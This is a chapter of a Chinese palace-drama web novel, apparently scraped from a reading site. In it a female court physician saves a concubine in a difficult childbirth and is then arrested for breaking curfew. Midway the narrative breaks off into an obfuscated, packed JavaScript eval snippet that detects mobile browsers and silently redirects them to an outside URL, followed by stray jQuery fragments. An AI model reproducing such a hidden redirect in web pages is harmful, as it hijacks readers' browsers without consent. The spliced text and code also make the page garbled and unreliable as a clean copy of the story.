默认冷灰
24号文字
方正启体

16. 九重宫阙(五)

作者:墨雨轻吟本书字数:K更新时间:
    三人气喘吁吁地站在室内,诉说了完了情况。郑守业仍旧若无其事地练着手中的小篆,似乎并没有开口的意思。


    “郑大人,”义姁见他没反应,故意提高了声音:“您不派人去吗?”


    闻言,郑守业这才不慌不忙地放下手毛笔,打量着义姁,不紧不慢道:“并非是我不派人去。只是王美人当今圣眷正浓,本官可不敢随便派个人去敷衍。况且皇上在宫中时,曾经亲口说过,只让许大人照料王美人的孕事。若是出了什么事,可是你能担待得起的?”


    “刘太医张太医他们,皆是太医院的老人,定不会对女子生育之事一窍不通,可否请他们去?”


    “你说什么?”郑守业眯着眼,扬声嘲讽:“宫中最是忌讳这么多的男太医聚在嫔妃宫中,你是想毁了王美人的清白吗?”


    义姁愣了一下。从前她在民间时,若是遇到稳婆不能控制的紧急关头时,倒是可以请精通妇科的男医者前来相助。却没想到这宫中是如此忌讳这些事情,忌讳到连女子的命都可以不顾。


    站在旁边的两名小宫女急得眼泪直流。义姁见在此处是行不通了,便拉着两个小宫女跑了出去。


    诺大空旷的太医院中,竟无一人可依靠。义姁攥紧了拳头,跑回厢房拿来了自己的药箱和银针绣包。


    “你们若是信我,便由我一试。”她对着两个小宫女言。


    两个宫女闻言,瞬间停止了哭泣,蒙着眼神抽泣问道:“娘子也是太医院中的医师吗?”


    义姁轻点了点头,着急道:“如今已是耽搁了许久,快些带我去王美人的宫中。”


    闻言,两名小宫女擦了擦脸上的泪水,便带着义姁跑出了太医院。


    *****


    义姁跟着两个小宫女跑进长乐宫的时候,宫里面已经乱成了一团。主殿里传来撕心裂肺的叫声,还掺杂着稳婆的安慰声。几个宫女捧着水盆不停地进进出出,带出来的血盆里是沾满血迹的红色布条。


    义姁急忙跑了进去。迎面冲来的是一股浓重的血腥味。端着盆子的宫女着急出去,不小心撞到了义姁他们,盆里的血水撒了一地。


    “再,再加把劲!”两个稳婆蹲守在床旁边,一边看着孩子出来的情况,一边安慰着王美人的情绪。


    “许大人来了没有?”一个稳婆转头冲着们叫喊。


    义姁快速跑上前,接上话:“许大人有些事情,派我先前来相助!”


    那俩稳婆闻言,看了一眼义姁,来不及过多犹豫,便急忙开口道:“胎位不正,我们若是伸手旋转扭正胎位,定是要大出血的,还请娘子在一旁相助!”


    义姁点了点头,随即打开了药箱,从里面挑出了几味药材,而后几步便走到了那小宫女面前。


    “快些去将这些药材煮熟了,而后端过来。”


    那小宫女接过药材便匆匆跑了出去。


    义姁又快步走了回去。那稳婆与她相视一眼,她摘下腰间绣包取出银针准备。


    “啊!”耳边忽传来一阵撕心裂肺的剧烈尖叫声,王美人整个人痛的上半身挺起,双手抓着地床单几近破裂,而后整个便无力的倒了下去,晕了过去。


    “快!”稳婆迅速收回血淋淋地半只手臂,后退了半步,而后伸进一旁的水盆中晃了几下。盆中的清水瞬间被蔓延的血丝所代替。


    义姁迅速走上前,看了一眼被褥里。胎位已经被纠正,只是产道严重撕裂,正在往后滋滋地冒着大股大股血,已经染红了身下的半边床单。


    她迅速取出三根银针,快速扎在了王美人腹部的关元穴和气海穴,最后一根扎在了内踝尖上三寸处的三阴交穴处。


    等了小片刻,她再次探头望去,产道出血量果然不如先前那般汹涌。


    “哎呀不好!”一旁的稳婆瞧见床上的王美人没了动静,着急道:“美人晕过去了!这可怎么好!”


    义姁见状,又迅速拿出了一根银针扎在了她的脖子上。


    片刻,王美人似如劫后余生般忽地惊醒,口中不停地喘着粗气,眼神中尽是惊慌,嘴唇惨淡无血色,散落的头发已经全部被汗水侵湿,胡乱的粘腻在脸上。额头上的汗珠也随着她惊恐的举动滑落。


    “孩...孩子...”她挣扎着憋出几个字,颤抖的手摸向了自己仍然挺立的大肚子。


    义姁见状,迅速拔回银针,后退了几步将位置让给了稳婆。


    “血已经止住了,还请稳婆速速助产!若是再耽搁太久,只怕胎儿会窒息而死。”


    两稳婆见状,迅速点了点头。两个人跨上前,互相配合。一个人站在床尾处,始终关心着胎儿的情况。另一个稳婆则在床边死死抓住王美人的手,口中不断地讲些鼓舞人心的话。


    耳边始终是王美人刺耳的痛苦尖叫声和喘息声。忽然一阵撕心裂风的长嘶吼,紧接而来的是新生婴儿急促的啼哭声


    。


    听到哭声,所有人都松了一口气。


    王美人“噹”的一声,无力的掉回床上,大口大口地喘着粗气。


    稳婆娴熟地抱起血漉漉的还在啼哭的胎儿,剪去脐带后简单清洗擦拭了几下,而后包了起来。


    “恭喜王美人,是个小公主!”稳婆将包着胎儿的布衫又理了理,笑着将孩子抱到了床边。


    王美人侧着头看着衣襟中的孩子,艰难的喘息声中挤出一丝欣慰满意的笑容。


    “适才我隐约看过一年轻女子在我身旁,可是我看错了...”


    她微微喘着气,问着面前抱着孩子的稳婆。


    “美人没有看错,”稳婆笑着将孩子又抱起身,侧着身子拱了拱门口义姁站的方向,“是那位娘子替美人止住了血,救了美人。”


    义姁站在门口,忽地侧过身子,正好看到床上的王美人正朝着她一笑。义姁明白了她的意思,也笑着回应了她。


    外面传来哒哒哒的脚步声,刚才去煎药的那个小宫女此刻已经捧着药碗回来了。她着急地护住泼洒出来的汤药,一路送到了床旁边。


    “美人,快把药喝了吧!”


    王美人缓缓称其上半身,张开嘴巴喝下了小宫女喂的汤药。


    她毫无血色的面孔上皱起眉毛,艰难的咽下药:“对了,为何不见许大人?他今日开的这药怎如此苦涩?”


    小宫女笑了一下,放下了勺子站起身:“回美人,今日许大人出宫休沐了。这药是太医院的一位娘子来时所开。”


    闻言,王美人下意识地又看向门口。只是这会,义姁已经离开了。


    “原来她是太医院的人...”她低声念叨,眼神掠过窗户时忽然望见了窗外漆黑的夜,忽然想到了什么,几近叫喊开口:“粟粟,快...快去拿我的宫牌!可别让她犯了夜禁!”


    *****


    义姁出了王美人的宫之后,便顺着来时路回太医院。


    已进入一月,狭长的深宫道中弥漫着一层夜雾,安静的可怕。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259001|166511||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    漆黑如墨的四周忽然传来一阵乌鸦叫,吓的义姁脚下的步子迟疑了几分。她想到自己曾在宫外听过许多女子惨死深宫之中的传闻,心中忽乱。


    鸟叫声又消失在黑夜,四周又恢复了死一般的寂静。她大量了一圈四周,一边安慰自己一边壮着胆子继续向前走。


    浓重的雾气之中,她看不清太远处。却又隐约听见“哒哒哒”的马蹄声和车轮轧过地面的声音,便向左边的墙面靠近,准备贴着墙面走路安全些。


    她正移动着,面前雾气中却忽地惊现一只马头,她瞬间吓得后退了几步。


    那马似是受惊了,车上之人迅速勒紧马栓,紧急刹车,连带着后面的马车摇晃着向前窜了几米,车轮在地上磨出难听的声音,那马车才停了下来。


    "什么东西如此不长眼?"那车夫怒喝着放下手中马栓,平衡好马车之后,转过身对着帘子后马车里的人道:“大人,您没事吧?”


    “无事。”马车里面传来一阵回应。


    义姁站在原地,她与这马车相隔不远,可以隐约听见马车内的声音,莫名的觉得有些熟悉,却又想不起来在哪里听过。


    不过那车夫既称他为大人,便定是朝廷的哪位官员了,况且能在宫内驱车行驶,必然也定非是普通的官员。


    想到这,她不想惹麻烦,便悄悄地后退了几步,轻着步子跑开了。


    车夫听见动静,还下车观望了一圈四周,什么也没有看见。


    “大人,没瞧见什么,可能是宫里的野猫,撞着人便跑了。”话毕,他拍了拍衣袖上的水珠,又回到了车上。


    车上的萧衍收回掀开帘子的手,深褐色的瞳孔给还映着雾气中缓缓消失的身影。


    “无妨,走吧。”他闭上双眼道。


    *****


    义姁一口气跑了好几十米,好不容易跑得远儿远儿的了,这才放松脚步,稍作喘息。刚回过神,眼前却浮现出一群闪着寒光的身影,在夜雾中逐渐靠近。


    她踉跄着脚步后退了几步,却发现自己早被周围一圈寒光所包围。


    “何人在此,犯了宵禁!?”


    为首的侍卫走上前,手中的长刀已经一个快闪已经架在了义姁的脖子上。


    “太...太医院的宫女。”义姁强忍着脖子间的寒意,回答道。


    那侍卫冷眼瞥了她一眼,手一招,便又走上来两个侍卫,从后面压住了义姁的双臂。


    突如其来的陌生的力量膈得她手臂生疼,可却也招架不住两个身材高大的男子的摆弄。


    “带去掖庭狱。”为首的侍卫冷不丁下了令,便转身走在前面,沉重的盔甲随着脚步声发出闷响。


    “大人都不问我为何在此吗?”义姁有些不服气问道。


    那侍卫却连头也没有转,冷着嗓子讪讪道:“近些天来皇上不在宫中,宫中越是骚乱了。我们只负责抓犯了夜禁的人,你若有何委屈,自去与那掖庭狱的人说。”


    她无言以对,一路被压着行了许久的路。心中之觉得有些委屈,因为自己初来太医院那一日,那带路介绍的宫人似乎并未曾与她提起过夜禁的事情。


    她想起那宫人的面孔,突然记起考核那日,他曾站与郑守业一旁与其攀谈。如今想来,今日被抓,倒也并非是巧合。


    浓重的夜雾中,粟粟抓着王美人的宫牌走了许久,却仍旧不见义姁的身影。直至她半路认出了萧衍驶向王美人宫中的马车,才转头回了宫。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)